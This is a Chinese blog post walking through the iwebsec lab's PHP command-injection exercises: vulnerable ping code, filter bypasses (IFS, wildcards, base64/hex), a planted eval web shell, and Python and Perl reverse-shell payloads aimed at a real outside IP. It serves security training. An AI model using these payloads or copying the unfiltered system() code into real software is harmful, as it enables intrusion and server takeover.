命令执行漏洞 | iwebsec

这篇具有很好参考价值的文章主要介绍了命令执行漏洞 | iwebsec。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1 靶场环境

这是 iwebsec 靶场,具体搭建过程可以看前面的文章。

命令执行漏洞,web安全,php,安全,web安全

2 命令执行漏洞介绍

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常的命令中,从而造成命令执行攻击,这就是命令执行漏洞。【摘自《web安全攻防》】

Windows系统支持的管道符:

管道符 作用 举例
| 直接执行后面的命令。 命令执行漏洞,web安全,php,安全,web安全
|| 前面执行的命令执行出错才执行后面的语句。 命令执行漏洞,web安全,php,安全,web安全
& 前面的语句无论真假都可以执行后面的语句。(无条件执行后面的语句,推荐使用。) 命令执行漏洞,web安全,php,安全,web安全
&& 前面语句为真才能执行后面的语句。 命令执行漏洞,web安全,php,安全,web安全

Linux系统支持的管道符:

管道符 作用 举例
| 显示后面语句的执行结果。 命令执行漏洞,web安全,php,安全,web安全
; 执行完前面的语句再执行后面的。 命令执行漏洞,web安全,php,安全,web安全
|| 前面语句执行错误才执行后面的语句。 命令执行漏洞,web安全,php,安全,web安全
& 前面语句无论真假都会执行后面的语句。(无条件执行后面的语句,推荐使用。) 命令执行漏洞,web安全,php,安全,web安全
&& 前面的语句为真才能执行后面的语句。 命令执行漏洞,web安全,php,安全,web安全

3 靶场练习

01-命令执行漏洞

打开靶场,直接测试。使用|

命令执行漏洞,web安全,php,安全,web安全

使用;

命令执行漏洞,web安全,php,安全,web安全

使用||

命令执行漏洞,web安全,php,安全,web安全

使用cat命令获取文件。

命令执行漏洞,web安全,php,安全,web安全

看网页源码,发现cat到文件源码。

命令执行漏洞,web安全,php,安全,web安全

获取/etc/passwd文件。

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞代码分析

服务端处理 ping ,程序获取GET参数IP,然后拼接到system() 函数中,利用 system() 函数执行ping的功能,但此处没有对参数IP做过滤和检测,导致可以利用管道符执行其他的系统命令。

<?php
  require_once('../header.php');
?>

<html>
	<head>
		<title>命令执行漏洞</title>
	</head>
	<h2>命令执行漏洞</h2>
		<div class="alert alert-success">
			<p>/01.php?ip=127.0.0.1 </p>
		</div>
	<body>

<?php
	if(isset($_GET['ip'])){
	    $ip = $_GET['ip'];//用户可以控制
	    system("ping -c 2 ".$ip);//system系统命令,没有限制
	}else{
		exit();
	}
?>

02-命令执行漏洞空格绕过

命令执行漏洞,web安全,php,安全,web安全

过滤了空格,可以去掉空格。

命令执行漏洞,web安全,php,安全,web安全

管道符两边的空格可以去除。但是有些是不能去除的,比如cat /ect/passwd,我们可以想办法绕过空格:

  1. 使用%09%09是tab键的url编码。
    命令执行漏洞,web安全,php,安全,web安全

  2. 使用<< 表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。“命令 < 文件” ,这是将文件作为命令输入。
    命令执行漏洞,web安全,php,安全,web安全

  3. 使用{},用,实现空格可能。
    命令执行漏洞,web安全,php,安全,web安全

  4. 使用${IFS}
    命令执行漏洞,web安全,php,安全,web安全

  5. 使用$IFS$9
    命令执行漏洞,web安全,php,安全,web安全

源码分析

<?php
	if(isset($_GET['ip'])){
		if (preg_match('/ /', $_GET['ip'])) {  //匹配空格
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
?>

03-命令执行漏洞关键命令绕过

命令执行漏洞,web安全,php,安全,web安全

cat命令的绕过:

  1. 使用常规绕过

命令执行漏洞,web安全,php,安全,web安全
命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全
命令执行漏洞,web安全,php,安全,web安全
命令执行漏洞,web安全,php,安全,web安全
命令执行漏洞,web安全,php,安全,web安全

  1. 非常规操作

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

其他的试了,不行。我用自己的Linux系统试试:

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

  1. 使用符号及拼接

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

源码分析

<?php
	if(isset($_GET['ip'])){
		if (preg_match('/cat/', $_GET['ip'])) {  //过滤了cat
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];		
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}	
?>

04-命令执行漏洞通配符绕过

<?php
	if(isset($_GET['ip'])){
		if (preg_match('/etc|passwd/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];	
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
?>

看源码只是过滤了/etc/passwd文件,读取其他文件是没有问题的:

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

但我就是要读取/etc/passwd文件呢?

  1. 可以使用通配符绕过:

通配符是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。 【百度百科】

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

  1. 使用符号及拼接

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

05-命令执行漏洞base64编码绕过

命令执行漏洞,web安全,php,安全,web安全

直接就可以RCE,看一下源码:

<?php
	if(isset($_GET['ip'])){
		if (preg_match('/id/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
?>

过滤了id这个关键字,Linux id命令用于显示用户的ID,以及所属群组的ID

命令执行漏洞,web安全,php,安全,web安全

使用base64编码绕过:

echo aWQ= | base64 -d 

命令执行漏洞,web安全,php,安全,web安全

第一个例子直接输出为id,第二个例子加了反引号`则会执行输出的内容,即执行命令id

命令执行漏洞,web安全,php,安全,web安全

除了base64,我们可以使用hex编码:

ip=127.0.0.1 | echo "6964" | xxd -r -p | bash
ip=127.0.0.1 | `echo "6964" | xxd -r -p`

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

第一句直接输出id,第二句将输出的内容传进bash执行。也可以不用bash执行,直接用反引号执行。

命令执行漏洞,web安全,php,安全,web安全

读取/etc/passwd文件:

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

4 命令执行漏洞危害

以第一关的环境为例,进行下面的实验。

01-读写系统文件

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

02-执行系统命令

常见linux系统命令大全

使用touch命令新建一个文件

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

pwd查看当前目录的位置

命令执行漏洞,web安全,php,安全,web安全

使用find命令搜索符合条件的文件

命令执行漏洞,web安全,php,安全,web安全

显示指定目录下所有目录和文件,包括隐藏文件

命令执行漏洞,web安全,php,安全,web安全

03-种植恶意木马

写入一句话木马

?ip=127.0.0.1|echo '<?php @eval($_POST['a']);?>' >2.php

命令执行漏洞,web安全,php,安全,web安全

连接一句话木马

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

用蚁剑连接

命令执行漏洞,web安全,php,安全,web安全

04-反弹shell

RCE/命令执行漏洞反弹shell小结。这里使用第三关环境,第一关被我改坏了。

我用bash反弹,一直写不进去,但是一句话木马又可以写入,按照源码只是对cat进行过滤而已,应该没有过滤其他东西了。试着把反弹shell逐个拆开写进去:

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全

那应该是不能有&,所以bashphp的反弹shell语句都用不了。而python的反弹shell语句刚好没有:

python反弹shell
注入点:127.0.0.1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.134.148.36",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
监听点:nc -lvp 7777

命令执行漏洞,web安全,php,安全,web安全
命令执行漏洞,web安全,php,安全,web安全

perl反弹shell
注入点:127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"8.134.148.36:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
监听点:nc -lvp 6666

命令执行漏洞,web安全,php,安全,web安全

命令执行漏洞,web安全,php,安全,web安全文章来源地址https://www.toymoban.com/news/detail-819685.html

到了这里,关于命令执行漏洞 | iwebsec的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全】命令执行漏洞

    应用程序中有时候需要调用一些执行系统命令的函数,在php中常见的为 system 、 exec 、 shell_exec 、 passthru 、 proc_poen 、 popen 等函数用来执行系统命令。当黑客能控制这些函数的参数时,就可以讲恶意的系统命令拼接到正常的命令中,就会命令执行攻击,这就是命令执行漏洞。

    2024年02月03日
    浏览(39)
  • 【Web】CTFSHOW PHP命令执行刷题记录(全)

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37-39 web40 web41 (y4✌脚本) web42 -44 web45 web46 -49 web50 web51 web52 web53 web54 web55-56 web57 web58 web59 web60 web61 web62 web63-65 web66-67 web68-70 web71 web72 web73-74 web75-76 web77 期末复习不了一点,不如做点旧题醒一醒手感。每一题都尽量用不同payload,如果

    2024年01月23日
    浏览(42)
  • 多个安全厂商安全设备 远程命令执行漏洞复现

    此文章仅用于技术交流,严禁用于对外发起恶意攻击!!! 该漏洞可执行远程代码 FOFA:body=“/webui/images/default/default/alert_close.jpg”

    2024年02月03日
    浏览(47)
  • [JAVA安全]CVE-2022-33980命令执行漏洞分析

    在 i春秋的漏洞靶标上看见了此漏洞,所以前来分析一下漏洞原理,比较也是去年 7月的漏洞。 漏洞描述:Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在

    2024年02月15日
    浏览(43)
  • 安恒信息-明御安全网关 命令执行漏洞分析

    目录 注意 漏洞描述 漏洞位置 漏洞代码 POC: 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 安恒信息-明御安全网关存在命令执行漏洞,导致攻击者可以直接执行系统命令,从而控制目标系

    2024年02月12日
    浏览(47)
  • 数据库安全:Hadoop 未授权访问-命令执行漏洞.

    Hadoop 未授权访问主要是因为 Hadoop YARN 资源管理系统配置不当,导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过 RESTAPI 部署任务来执行任意指令,最终完全控制服务器。 数据库安全:Hadoop 未授权访问-命令执行漏洞. Hadoop 未授权访问-命令执行漏

    2024年02月05日
    浏览(43)
  • 命令执行漏洞--ibos靶场(靶场环境是掌控安全的)

    命令执行:用户传入的参数,会被当成系统指令来执行,指令内容用户可控,属于代码执行的一种 ctrl+u:在view-source模式自动换行 危险函数 1. system()函数:直接执行命令,并且输出 2. exec()函数:默认显示最后一行结果,没有输出 3. shell_exec()函数:多行结果,没有输出 4. pa

    2024年04月16日
    浏览(38)
  • 亿赛通电子文档安全管理系统远程命令执行漏洞复现

    此文章仅用于技术交流,严禁用于对外发起恶意攻击!!! 亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进

    2024年01月21日
    浏览(53)
  • 思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞

    免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 思福迪运维安全管理系统是思福迪开发的一

    2024年02月04日
    浏览(46)
  • web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

    制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。 方法1 首先准备好一个图片(这里是1.png)。 将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。 后面粘

    2024年02月06日
    浏览(56)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包